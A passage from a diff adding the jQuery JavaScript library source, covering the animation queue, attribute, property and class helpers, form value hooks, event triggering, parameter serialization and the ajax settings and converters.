"queue" ], + hooks = data[ type + "queueHooks" ], + timers = jQuery.timers, + length = queue ? queue.length : 0; + + // Enable finishing flag on private data + data.finish = true; + + // Empty the queue first + jQuery.queue( this, type, [] ); + + if ( hooks && hooks.stop ) { + hooks.stop.call( this, true ); + } + + // Look for any active animations, and finish them + for ( index = timers.length; index--; ) { + if ( timers[ index ].elem === this && timers[ index ].queue === type ) { + timers[ index ].anim.stop( true ); + timers.splice( index, 1 ); + } + } + + // Look for any animations in the old queue and finish them + for ( index = 0; index < length; index++ ) { + if ( queue[ index ] && queue[ index ].finish ) { + queue[ index ].finish.call( this ); + } + } + + // Turn off finishing flag + delete data.finish; + } ); + } +} ); + +jQuery.each( [ "toggle", "show", "hide" ], function( _i, name ) { + var cssFn = jQuery.fn[ name ]; + jQuery.fn[ name ] = function( speed, easing, callback ) { + return speed == null || typeof speed === "boolean" ? + cssFn.apply( this, arguments ) : + this.animate( genFx( name, true ), speed, easing, callback ); + }; +} ); + +// Generate shortcuts for custom animations +jQuery.each( { + slideDown: genFx( "show" ), + slideUp: genFx( "hide" ), + slideToggle: genFx( "toggle" ), + fadeIn: { opacity: "show" }, + fadeOut: { opacity: "hide" }, + fadeToggle: { opacity: "toggle" } +}, function( name, props ) { + jQuery.fn[ name ] = function( speed, easing, callback ) { + return this.animate( props, speed, easing, callback ); + }; +} ); + +jQuery.timers = []; +jQuery.fx.tick = function() { + var timer, + i = 0, + timers = jQuery.timers; + + fxNow = Date.now(); + + for ( ; i < timers.length; i++ ) { + timer = timers[ i ]; + + // Run the timer and safely remove it when done (allowing for external removal) + if ( !timer() && timers[ i ] === timer ) { + timers.splice( i--, 1 ); + } + } + + if ( !timers.length ) { + jQuery.fx.stop(); + } + fxNow = undefined; +}; + +jQuery.fx.timer = function( timer ) { + jQuery.timers.push( timer ); + jQuery.fx.start(); +}; + +jQuery.fx.interval = 13; +jQuery.fx.start = function() { + if ( inProgress ) { + return; + } + + inProgress = true; + schedule(); +}; + +jQuery.fx.stop = function() { + inProgress = null; +}; + +jQuery.fx.speeds = { + slow: 600, + fast: 200, + + // Default speed + _default: 400 +}; + + +// Based off of the plugin by Clint Helfers, with permission. +jQuery.fn.delay = function( time, type ) { + time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; + type = type || "fx"; + + return this.queue( type, function( next, hooks ) { + var timeout = window.setTimeout( next, time ); + hooks.stop = function() { + window.clearTimeout( timeout ); + }; + } ); +}; + + +( function() { + var input = document.createElement( "input" ), + select = document.createElement( "select" ), + opt = select.appendChild( document.createElement( "option" ) ); + + input.type = "checkbox"; + + // Support: Android <=4.3 only + // Default value for a checkbox should be "on" + support.checkOn = input.value !== ""; + + // Support: IE <=11 only + // Must access selectedIndex to make default options select + support.optSelected = opt.selected; + + // Support: IE <=11 only + // An input loses its value after becoming a radio + input = document.createElement( "input" ); + input.value = "t"; + input.type = "radio"; + support.radioValue = input.value === "t"; +} )(); + + +var boolHook, + attrHandle = jQuery.expr.attrHandle; + +jQuery.fn.extend( { + attr: function( name, value ) { + return access( this, jQuery.attr, name, value, arguments.length > 1 ); + }, + + removeAttr: function( name ) { + return this.each( function() { + jQuery.removeAttr( this, name ); + } ); + } +} ); + +jQuery.extend( { + attr: function( elem, name, value ) { + var ret, hooks, + nType = elem.nodeType; + + // Don't get/set attributes on text, comment and attribute nodes + if ( nType === 3 || nType === 8 || nType === 2 ) { + return; + } + + // Fallback to prop when attributes are not supported + if ( typeof elem.getAttribute === "undefined" ) { + return jQuery.prop( elem, name, value ); + } + + // Attribute hooks are determined by the lowercase version + // Grab necessary hook if one is defined + if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { + hooks = jQuery.attrHooks[ name.toLowerCase() ] || + ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined ); + } + + if ( value !== undefined ) { + if ( value === null ) { + jQuery.removeAttr( elem, name ); + return; + } + + if ( hooks && "set" in hooks && + ( ret = hooks.set( elem, value, name ) ) !== undefined ) { + return ret; + } + + elem.setAttribute( name, value + "" ); + return value; + } + + if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { + return ret; + } + + ret = jQuery.find.attr( elem, name ); + + // Non-existent attributes return null, we normalize to undefined + return ret == null ? undefined : ret; + }, + + attrHooks: { + type: { + set: function( elem, value ) { + if ( !support.radioValue && value === "radio" && + nodeName( elem, "input" ) ) { + var val = elem.value; + elem.setAttribute( "type", value ); + if ( val ) { + elem.value = val; + } + return value; + } + } + } + }, + + removeAttr: function( elem, value ) { + var name, + i = 0, + + // Attribute names can contain non-HTML whitespace characters + // https://html.spec.whatwg.org/multipage/syntax.html#attributes-2 + attrNames = value && value.match( rnothtmlwhite ); + + if ( attrNames && elem.nodeType === 1 ) { + while ( ( name = attrNames[ i++ ] ) ) { + elem.removeAttribute( name ); + } + } + } +} ); + +// Hooks for boolean attributes +boolHook = { + set: function( elem, value, name ) { + if ( value === false ) { + + // Remove boolean attributes when set to false + jQuery.removeAttr( elem, name ); + } else { + elem.setAttribute( name, name ); + } + return name; + } +}; + +jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( _i, name ) { + var getter = attrHandle[ name ] || jQuery.find.attr; + + attrHandle[ name ] = function( elem, name, isXML ) { + var ret, handle, + lowercaseName = name.toLowerCase(); + + if ( !isXML ) { + + // Avoid an infinite loop by temporarily removing this function from the getter + handle = attrHandle[ lowercaseName ]; + attrHandle[ lowercaseName ] = ret; + ret = getter( elem, name, isXML ) != null ? + lowercaseName : + null; + attrHandle[ lowercaseName ] = handle; + } + return ret; + }; +} ); + + + + +var rfocusable = /^(?:input|select|textarea|button)$/i, + rclickable = /^(?:a|area)$/i; + +jQuery.fn.extend( { + prop: function( name, value ) { + return access( this, jQuery.prop, name, value, arguments.length > 1 ); + }, + + removeProp: function( name ) { + return this.each( function() { + delete this[ jQuery.propFix[ name ] || name ]; + } ); + } +} ); + +jQuery.extend( { + prop: function( elem, name, value ) { + var ret, hooks, + nType = elem.nodeType; + + // Don't get/set properties on text, comment and attribute nodes + if ( nType === 3 || nType === 8 || nType === 2 ) { + return; + } + + if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { + + // Fix name and attach hooks + name = jQuery.propFix[ name ] || name; + hooks = jQuery.propHooks[ name ]; + } + + if ( value !== undefined ) { + if ( hooks && "set" in hooks && + ( ret = hooks.set( elem, value, name ) ) !== undefined ) { + return ret; + } + + return ( elem[ name ] = value ); + } + + if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { + return ret; + } + + return elem[ name ]; + }, + + propHooks: { + tabIndex: { + get: function( elem ) { + + // Support: IE <=9 - 11 only + // elem.tabIndex doesn't always return the + // correct value when it hasn't been explicitly set + // Use proper attribute retrieval (trac-12072) + var tabindex = jQuery.find.attr( elem, "tabindex" ); + + if ( tabindex ) { + return parseInt( tabindex, 10 ); + } + + if ( + rfocusable.test( elem.nodeName ) || + rclickable.test( elem.nodeName ) && + elem.href + ) { + return 0; + } + + return -1; + } + } + }, + + propFix: { + "for": "htmlFor", + "class": "className" + } +} ); + +// Support: IE <=11 only +// Accessing the selectedIndex property +// forces the browser to respect setting selected +// on the option +// The getter ensures a default option is selected +// when in an optgroup +// eslint rule "no-unused-expressions" is disabled for this code +// since it considers such accessions noop +if ( !support.optSelected ) { + jQuery.propHooks.selected = { + get: function( elem ) { + + /* eslint no-unused-expressions: "off" */ + + var parent = elem.parentNode; + if ( parent && parent.parentNode ) { + parent.parentNode.selectedIndex; + } + return null; + }, + set: function( elem ) { + + /* eslint no-unused-expressions: "off" */ + + var parent = elem.parentNode; + if ( parent ) { + parent.selectedIndex; + + if ( parent.parentNode ) { + parent.parentNode.selectedIndex; + } + } + } + }; +} + +jQuery.each( [ + "tabIndex", + "readOnly", + "maxLength", + "cellSpacing", + "cellPadding", + "rowSpan", + "colSpan", + "useMap", + "frameBorder", + "contentEditable" +], function() { + jQuery.propFix[ this.toLowerCase() ] = this; +} ); + + + + + // Strip and collapse whitespace according to HTML spec + // https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace + function stripAndCollapse( value ) { + var tokens = value.match( rnothtmlwhite ) || []; + return tokens.join( " " ); + } + + +function getClass( elem ) { + return elem.getAttribute && elem.getAttribute( "class" ) || ""; +} + +function classesToArray( value ) { + if ( Array.isArray( value ) ) { + return value; + } + if ( typeof value === "string" ) { + return value.match( rnothtmlwhite ) || []; + } + return []; +} + +jQuery.fn.extend( { + addClass: function( value ) { + var classNames, cur, curValue, className, i, finalValue; + + if ( isFunction( value ) ) { + return this.each( function( j ) { + jQuery( this ).addClass( value.call( this, j, getClass( this ) ) ); + } ); + } + + classNames = classesToArray( value ); + + if ( classNames.length ) { + return this.each( function() { + curValue = getClass( this ); + cur = this.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); + + if ( cur ) { + for ( i = 0; i < classNames.length; i++ ) { + className = classNames[ i ]; + if ( cur.indexOf( " " + className + " " ) < 0 ) { + cur += className + " "; + } + } + + // Only assign if different to avoid unneeded rendering. + finalValue = stripAndCollapse( cur ); + if ( curValue !== finalValue ) { + this.setAttribute( "class", finalValue ); + } + } + } ); + } + + return this; + }, + + removeClass: function( value ) { + var classNames, cur, curValue, className, i, finalValue; + + if ( isFunction( value ) ) { + return this.each( function( j ) { + jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) ); + } ); + } + + if ( !arguments.length ) { + return this.attr( "class", "" ); + } + + classNames = classesToArray( value ); + + if ( classNames.length ) { + return this.each( function() { + curValue = getClass( this ); + + // This expression is here for better compressibility (see addClass) + cur = this.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); + + if ( cur ) { + for ( i = 0; i < classNames.length; i++ ) { + className = classNames[ i ]; + + // Remove *all* instances + while ( cur.indexOf( " " + className + " " ) > -1 ) { + cur = cur.replace( " " + className + " ", " " ); + } + } + + // Only assign if different to avoid unneeded rendering. + finalValue = stripAndCollapse( cur ); + if ( curValue !== finalValue ) { + this.setAttribute( "class", finalValue ); + } + } + } ); + } + + return this; + }, + + toggleClass: function( value, stateVal ) { + var classNames, className, i, self, + type = typeof value, + isValidValue = type === "string" || Array.isArray( value ); + + if ( isFunction( value ) ) { + return this.each( function( i ) { + jQuery( this ).toggleClass( + value.call( this, i, getClass( this ), stateVal ), + stateVal + ); + } ); + } + + if ( typeof stateVal === "boolean" && isValidValue ) { + return stateVal ? this.addClass( value ) : this.removeClass( value ); + } + + classNames = classesToArray( value ); + + return this.each( function() { + if ( isValidValue ) { + + // Toggle individual class names + self = jQuery( this ); + + for ( i = 0; i < classNames.length; i++ ) { + className = classNames[ i ]; + + // Check each className given, space separated list + if ( self.hasClass( className ) ) { + self.removeClass( className ); + } else { + self.addClass( className ); + } + } + + // Toggle whole class name + } else if ( value === undefined || type === "boolean" ) { + className = getClass( this ); + if ( className ) { + + // Store className if set + dataPriv.set( this, "__className__", className ); + } + + // If the element has a class name or if we're passed `false`, + // then remove the whole classname (if there was one, the above saved it). + // Otherwise bring back whatever was previously saved (if anything), + // falling back to the empty string if nothing was stored. + if ( this.setAttribute ) { + this.setAttribute( "class", + className || value === false ? + "" : + dataPriv.get( this, "__className__" ) || "" + ); + } + } + } ); + }, + + hasClass: function( selector ) { + var className, elem, + i = 0; + + className = " " + selector + " "; + while ( ( elem = this[ i++ ] ) ) { + if ( elem.nodeType === 1 && + ( " " + stripAndCollapse( getClass( elem ) ) + " " ).indexOf( className ) > -1 ) { + return true; + } + } + + return false; + } +} ); + + + + +var rreturn = /\r/g; + +jQuery.fn.extend( { + val: function( value ) { + var hooks, ret, valueIsFunction, + elem = this[ 0 ]; + + if ( !arguments.length ) { + if ( elem ) { + hooks = jQuery.valHooks[ elem.type ] || + jQuery.valHooks[ elem.nodeName.toLowerCase() ]; + + if ( hooks && + "get" in hooks && + ( ret = hooks.get( elem, "value" ) ) !== undefined + ) { + return ret; + } + + ret = elem.value; + + // Handle most common string cases + if ( typeof ret === "string" ) { + return ret.replace( rreturn, "" ); + } + + // Handle cases where value is null/undef or number + return ret == null ? "" : ret; + } + + return; + } + + valueIsFunction = isFunction( value ); + + return this.each( function( i ) { + var val; + + if ( this.nodeType !== 1 ) { + return; + } + + if ( valueIsFunction ) { + val = value.call( this, i, jQuery( this ).val() ); + } else { + val = value; + } + + // Treat null/undefined as ""; convert numbers to string + if ( val == null ) { + val = ""; + + } else if ( typeof val === "number" ) { + val += ""; + + } else if ( Array.isArray( val ) ) { + val = jQuery.map( val, function( value ) { + return value == null ? "" : value + ""; + } ); + } + + hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; + + // If set returns undefined, fall back to normal setting + if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) { + this.value = val; + } + } ); + } +} ); + +jQuery.extend( { + valHooks: { + option: { + get: function( elem ) { + + var val = jQuery.find.attr( elem, "value" ); + return val != null ? + val : + + // Support: IE <=10 - 11 only + // option.text throws exceptions (trac-14686, trac-14858) + // Strip and collapse whitespace + // https://html.spec.whatwg.org/#strip-and-collapse-whitespace + stripAndCollapse( jQuery.text( elem ) ); + } + }, + select: { + get: function( elem ) { + var value, option, i, + options = elem.options, + index = elem.selectedIndex, + one = elem.type === "select-one", + values = one ? null : [], + max = one ? index + 1 : options.length; + + if ( index < 0 ) { + i = max; + + } else { + i = one ? index : 0; + } + + // Loop through all the selected options + for ( ; i < max; i++ ) { + option = options[ i ]; + + // Support: IE <=9 only + // IE8-9 doesn't update selected after form reset (trac-2551) + if ( ( option.selected || i === index ) && + + // Don't return options that are disabled or in a disabled optgroup + !option.disabled && + ( !option.parentNode.disabled || + !nodeName( option.parentNode, "optgroup" ) ) ) { + + // Get the specific value for the option + value = jQuery( option ).val(); + + // We don't need an array for one selects + if ( one ) { + return value; + } + + // Multi-Selects return an array + values.push( value ); + } + } + + return values; + }, + + set: function( elem, value ) { + var optionSet, option, + options = elem.options, + values = jQuery.makeArray( value ), + i = options.length; + + while ( i-- ) { + option = options[ i ]; + + /* eslint-disable no-cond-assign */ + + if ( option.selected = + jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1 + ) { + optionSet = true; + } + + /* eslint-enable no-cond-assign */ + } + + // Force browsers to behave consistently when non-matching value is set + if ( !optionSet ) { + elem.selectedIndex = -1; + } + return values; + } + } + } +} ); + +// Radios and checkboxes getter/setter +jQuery.each( [ "radio", "checkbox" ], function() { + jQuery.valHooks[ this ] = { + set: function( elem, value ) { + if ( Array.isArray( value ) ) { + return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 ); + } + } + }; + if ( !support.checkOn ) { + jQuery.valHooks[ this ].get = function( elem ) { + return elem.getAttribute( "value" ) === null ? "on" : elem.value; + }; + } +} ); + + + + +// Return jQuery for attributes-only inclusion +var location = window.location; + +var nonce = { guid: Date.now() }; + +var rquery = ( /\?/ ); + + + +// Cross-browser xml parsing +jQuery.parseXML = function( data ) { + var xml, parserErrorElem; + if ( !data || typeof data !== "string" ) { + return null; + } + + // Support: IE 9 - 11 only + // IE throws on parseFromString with invalid input. + try { + xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" ); + } catch ( e ) {} + + parserErrorElem = xml && xml.getElementsByTagName( "parsererror" )[ 0 ]; + if ( !xml || parserErrorElem ) { + jQuery.error( "Invalid XML: " + ( + parserErrorElem ? + jQuery.map( parserErrorElem.childNodes, function( el ) { + return el.textContent; + } ).join( "\n" ) : + data + ) ); + } + return xml; +}; + + +var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, + stopPropagationCallback = function( e ) { + e.stopPropagation(); + }; + +jQuery.extend( jQuery.event, { + + trigger: function( event, data, elem, onlyHandlers ) { + + var i, cur, tmp, bubbleType, ontype, handle, special, lastElement, + eventPath = [ elem || document ], + type = hasOwn.call( event, "type" ) ? event.type : event, + namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : []; + + cur = lastElement = tmp = elem = elem || document; + + // Don't do events on text and comment nodes + if ( elem.nodeType === 3 || elem.nodeType === 8 ) { + return; + } + + // focus/blur morphs to focusin/out; ensure we're not firing them right now + if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { + return; + } + + if ( type.indexOf( "." ) > -1 ) { + + // Namespaced trigger; create a regexp to match event type in handle() + namespaces = type.split( "." ); + type = namespaces.shift(); + namespaces.sort(); + } + ontype = type.indexOf( ":" ) < 0 && "on" + type; + + // Caller can pass in a jQuery.Event object, Object, or just an event type string + event = event[ jQuery.expando ] ? + event : + new jQuery.Event( type, typeof event === "object" && event ); + + // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) + event.isTrigger = onlyHandlers ? 2 : 3; + event.namespace = namespaces.join( "." ); + event.rnamespace = event.namespace ? + new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) : + null; + + // Clean up the event in case it is being reused + event.result = undefined; + if ( !event.target ) { + event.target = elem; + } + + // Clone any incoming data and prepend the event, creating the handler arg list + data = data == null ? + [ event ] : + jQuery.makeArray( data, [ event ] ); + + // Allow special events to draw outside the lines + special = jQuery.event.special[ type ] || {}; + if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { + return; + } + + // Determine event propagation path in advance, per W3C events spec (trac-9951) + // Bubble up to document, then to window; watch for a global ownerDocument var (trac-9724) + if ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) { + + bubbleType = special.delegateType || type; + if ( !rfocusMorph.test( bubbleType + type ) ) { + cur = cur.parentNode; + } + for ( ; cur; cur = cur.parentNode ) { + eventPath.push( cur ); + tmp = cur; + } + + // Only add window if we got to document (e.g., not plain obj or detached DOM) + if ( tmp === ( elem.ownerDocument || document ) ) { + eventPath.push( tmp.defaultView || tmp.parentWindow || window ); + } + } + + // Fire handlers on the event path + i = 0; + while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) { + lastElement = cur; + event.type = i > 1 ? + bubbleType : + special.bindType || type; + + // jQuery handler + handle = ( dataPriv.get( cur, "events" ) || Object.create( null ) )[ event.type ] && + dataPriv.get( cur, "handle" ); + if ( handle ) { + handle.apply( cur, data ); + } + + // Native handler + handle = ontype && cur[ ontype ]; + if ( handle && handle.apply && acceptData( cur ) ) { + event.result = handle.apply( cur, data ); + if ( event.result === false ) { + event.preventDefault(); + } + } + } + event.type = type; + + // If nobody prevented the default action, do it now + if ( !onlyHandlers && !event.isDefaultPrevented() ) { + + if ( ( !special._default || + special._default.apply( eventPath.pop(), data ) === false ) && + acceptData( elem ) ) { + + // Call a native DOM method on the target with the same name as the event. + // Don't do default actions on window, that's where global variables be (trac-6170) + if ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) { + + // Don't re-trigger an onFOO event when we call its FOO() method + tmp = elem[ ontype ]; + + if ( tmp ) { + elem[ ontype ] = null; + } + + // Prevent re-triggering of the same event, since we already bubbled it above + jQuery.event.triggered = type; + + if ( event.isPropagationStopped() ) { + lastElement.addEventListener( type, stopPropagationCallback ); + } + + elem[ type ](); + + if ( event.isPropagationStopped() ) { + lastElement.removeEventListener( type, stopPropagationCallback ); + } + + jQuery.event.triggered = undefined; + + if ( tmp ) { + elem[ ontype ] = tmp; + } + } + } + } + + return event.result; + }, + + // Piggyback on a donor event to simulate a different one + // Used only for `focus(in | out)` events + simulate: function( type, elem, event ) { + var e = jQuery.extend( + new jQuery.Event(), + event, + { + type: type, + isSimulated: true + } + ); + + jQuery.event.trigger( e, null, elem ); + } + +} ); + +jQuery.fn.extend( { + + trigger: function( type, data ) { + return this.each( function() { + jQuery.event.trigger( type, data, this ); + } ); + }, + triggerHandler: function( type, data ) { + var elem = this[ 0 ]; + if ( elem ) { + return jQuery.event.trigger( type, data, elem, true ); + } + } +} ); + + +var + rbracket = /\[\]$/, + rCRLF = /\r?\n/g, + rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, + rsubmittable = /^(?:input|select|textarea|keygen)/i; + +function buildParams( prefix, obj, traditional, add ) { + var name; + + if ( Array.isArray( obj ) ) { + + // Serialize array item. + jQuery.each( obj, function( i, v ) { + if ( traditional || rbracket.test( prefix ) ) { + + // Treat each array item as a scalar. + add( prefix, v ); + + } else { + + // Item is non-scalar (array or object), encode its numeric index. + buildParams( + prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]", + v, + traditional, + add + ); + } + } ); + + } else if ( !traditional && toType( obj ) === "object" ) { + + // Serialize object item. + for ( name in obj ) { + buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); + } + + } else { + + // Serialize scalar item. + add( prefix, obj ); + } +} + +// Serialize an array of form elements or a set of +// key/values into a query string +jQuery.param = function( a, traditional ) { + var prefix, + s = [], + add = function( key, valueOrFunction ) { + + // If value is a function, invoke it and use its return value + var value = isFunction( valueOrFunction ) ? + valueOrFunction() : + valueOrFunction; + + s[ s.length ] = encodeURIComponent( key ) + "=" + + encodeURIComponent( value == null ? "" : value ); + }; + + if ( a == null ) { + return ""; + } + + // If an array was passed in, assume that it is an array of form elements. + if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { + + // Serialize the form elements + jQuery.each( a, function() { + add( this.name, this.value ); + } ); + + } else { + + // If traditional, encode the "old" way (the way 1.3.2 or older + // did it), otherwise encode params recursively. + for ( prefix in a ) { + buildParams( prefix, a[ prefix ], traditional, add ); + } + } + + // Return the resulting serialization + return s.join( "&" ); +}; + +jQuery.fn.extend( { + serialize: function() { + return jQuery.param( this.serializeArray() ); + }, + serializeArray: function() { + return this.map( function() { + + // Can add propHook for "elements" to filter or add form elements + var elements = jQuery.prop( this, "elements" ); + return elements ? jQuery.makeArray( elements ) : this; + } ).filter( function() { + var type = this.type; + + // Use .is( ":disabled" ) so that fieldset[disabled] works + return this.name && !jQuery( this ).is( ":disabled" ) && + rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && + ( this.checked || !rcheckableType.test( type ) ); + } ).map( function( _i, elem ) { + var val = jQuery( this ).val(); + + if ( val == null ) { + return null; + } + + if ( Array.isArray( val ) ) { + return jQuery.map( val, function( val ) { + return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; + } ); + } + + return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; + } ).get(); + } +} ); + + +var + r20 = /%20/g, + rhash = /#.*$/, + rantiCache = /([?&])_=[^&]*/, + rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg, + + // trac-7653, trac-8125, trac-8152: local protocol detection + rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, + rnoContent = /^(?:GET|HEAD)$/, + rprotocol = /^\/\//, + + /* Prefilters + * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) + * 2) These are called: + * - BEFORE asking for a transport + * - AFTER param serialization (s.data is a string if s.processData is true) + * 3) key is the dataType + * 4) the catchall symbol "*" can be used + * 5) execution will start with transport dataType and THEN continue down to "*" if needed + */ + prefilters = {}, + + /* Transports bindings + * 1) key is the dataType + * 2) the catchall symbol "*" can be used + * 3) selection will start with transport dataType and THEN go to "*" if needed + */ + transports = {}, + + // Avoid comment-prolog char sequence (trac-10098); must appease lint and evade compression + allTypes = "*/".concat( "*" ), + + // Anchor tag for parsing the document origin + originAnchor = document.createElement( "a" ); + +originAnchor.href = location.href; + +// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport +function addToPrefiltersOrTransports( structure ) { + + // dataTypeExpression is optional and defaults to "*" + return function( dataTypeExpression, func ) { + + if ( typeof dataTypeExpression !== "string" ) { + func = dataTypeExpression; + dataTypeExpression = "*"; + } + + var dataType, + i = 0, + dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || []; + + if ( isFunction( func ) ) { + + // For each dataType in the dataTypeExpression + while ( ( dataType = dataTypes[ i++ ] ) ) { + + // Prepend if requested + if ( dataType[ 0 ] === "+" ) { + dataType = dataType.slice( 1 ) || "*"; + ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func ); + + // Otherwise append + } else { + ( structure[ dataType ] = structure[ dataType ] || [] ).push( func ); + } + } + } + }; +} + +// Base inspection function for prefilters and transports +function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) { + + var inspected = {}, + seekingTransport = ( structure === transports ); + + function inspect( dataType ) { + var selected; + inspected[ dataType ] = true; + jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) { + var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR ); + if ( typeof dataTypeOrTransport === "string" && + !seekingTransport && !inspected[ dataTypeOrTransport ] ) { + + options.dataTypes.unshift( dataTypeOrTransport ); + inspect( dataTypeOrTransport ); + return false; + } else if ( seekingTransport ) { + return !( selected = dataTypeOrTransport ); + } + } ); + return selected; + } + + return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" ); +} + +// A special extend for ajax options +// that takes "flat" options (not to be deep extended) +// Fixes trac-9887 +function ajaxExtend( target, src ) { + var key, deep, + flatOptions = jQuery.ajaxSettings.flatOptions || {}; + + for ( key in src ) { + if ( src[ key ] !== undefined ) { + ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ]; + } + } + if ( deep ) { + jQuery.extend( true, target, deep ); + } + + return target; +} + +/* Handles responses to an ajax request: + * - finds the right dataType (mediates between content-type and expected dataType) + * - returns the corresponding response + */ +function ajaxHandleResponses( s, jqXHR, responses ) { + + var ct, type, finalDataType, firstDataType, + contents = s.contents, + dataTypes = s.dataTypes; + + // Remove auto dataType and get content-type in the process + while ( dataTypes[ 0 ] === "*" ) { + dataTypes.shift(); + if ( ct === undefined ) { + ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" ); + } + } + + // Check if we're dealing with a known content-type + if ( ct ) { + for ( type in contents ) { + if ( contents[ type ] && contents[ type ].test( ct ) ) { + dataTypes.unshift( type ); + break; + } + } + } + + // Check to see if we have a response for the expected dataType + if ( dataTypes[ 0 ] in responses ) { + finalDataType = dataTypes[ 0 ]; + } else { + + // Try convertible dataTypes + for ( type in responses ) { + if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) { + finalDataType = type; + break; + } + if ( !firstDataType ) { + firstDataType = type; + } + } + + // Or just use first one + finalDataType = finalDataType || firstDataType; + } + + // If we found a dataType + // We add the dataType to the list if needed + // and return the corresponding response + if ( finalDataType ) { + if ( finalDataType !== dataTypes[ 0 ] ) { + dataTypes.unshift( finalDataType ); + } + return responses[ finalDataType ]; + } +} + +/* Chain conversions given the request and the original response + * Also sets the responseXXX fields on the jqXHR instance + */ +function ajaxConvert( s, response, jqXHR, isSuccess ) { + var conv2, current, conv, tmp, prev, + converters = {}, + + // Work with a copy of dataTypes in case we need to modify it for conversion + dataTypes = s.dataTypes.slice(); + + // Create converters map with lowercased keys + if ( dataTypes[ 1 ] ) { + for ( conv in s.converters ) { + converters[ conv.toLowerCase() ] = s.converters[ conv ]; + } + } + + current = dataTypes.shift(); + + // Convert to each sequential dataType + while ( current ) { + + if ( s.responseFields[ current ] ) { + jqXHR[ s.responseFields[ current ] ] = response; + } + + // Apply the dataFilter if provided + if ( !prev && isSuccess && s.dataFilter ) { + response = s.dataFilter( response, s.dataType ); + } + + prev = current; + current = dataTypes.shift(); + + if ( current ) { + + // There's only work to do if current dataType is non-auto + if ( current === "*" ) { + + current = prev; + + // Convert response if prev dataType is non-auto and differs from current + } else if ( prev !== "*" && prev !== current ) { + + // Seek a direct converter + conv = converters[ prev + " " + current ] || converters[ "* " + current ]; + + // If none found, seek a pair + if ( !conv ) { + for ( conv2 in converters ) { + + // If conv2 outputs current + tmp = conv2.split( " " ); + if ( tmp[ 1 ] === current ) { + + // If prev can be converted to accepted input + conv = converters[ prev + " " + tmp[ 0 ] ] || + converters[ "* " + tmp[ 0 ] ]; + if ( conv ) { + + // Condense equivalence converters + if ( conv === true ) { + conv = converters[ conv2 ]; + + // Otherwise, insert the intermediate dataType + } else if ( converters[ conv2 ] !== true ) { + current = tmp[ 0 ]; + dataTypes.unshift( tmp[ 1 ] ); + } + break; + } + } + } + } + + // Apply converter (if not an equivalence) + if ( conv !== true ) { + + // Unless errors are allowed to bubble, catch and return them + if ( conv && s.throws ) { + response = conv( response ); + } else { + try { + response = conv( response ); + } catch ( e ) { + return { + state: "parsererror", + error: conv ? e : "No conversion from " + prev + " to " + current + }; + } + } + } + } + } + } + + return { state: "success", data: response }; +} + +jQuery.extend( { + + // Counter for holding the number of active queries + active: 0, + + // Last-Modified header cache for next request + lastModified: {}, + etag: {}, + + ajaxSettings: { + url: location.href, + type: "GET", + isLocal: rlocalProtocol.test( location.protocol ), + global: true, + processData: true, + async: true, + contentType: "application/x-www-form-urlencoded; charset=UTF-8", + + /* + timeout: 0, + data: null, + dataType: null, + username: null, + password: null, + cache: null, + throws: false, + traditional: false, + headers: {}, + */ + + accepts: { + "*": allTypes, + text: "text/plain", + html: "text/html", + xml: "application/xml, text/xml", + json: "application/json, text/javascript" + }, + + contents: { + xml: /\bxml\b/, + html: /\bhtml/, + json: /\bjson\b/ + }, + + responseFields: { + xml: "responseXML", + text: "responseText", + json: "responseJSON" + }, + + // Data converters + // Keys separate source (or catchall "*") and destination types with a single space + converters: { + + // Convert anything to text + "* text": String, + + // Text to html (true = no transformation) + "text html": true, + + // Evaluate text as a json expression + "text json": JSON.parse, + + // Parse text as xml + "text xml": jQuery.parseXML + }, + + // For options that shouldn't be deep extended: + // you can add your own custom options here if + // and when you create one that shouldn't be + // deep extended (see ajaxExtend) + flatOptions: { + url: true, + context: true + } + }, + + // Creates a full fledged settings object into target + // with both 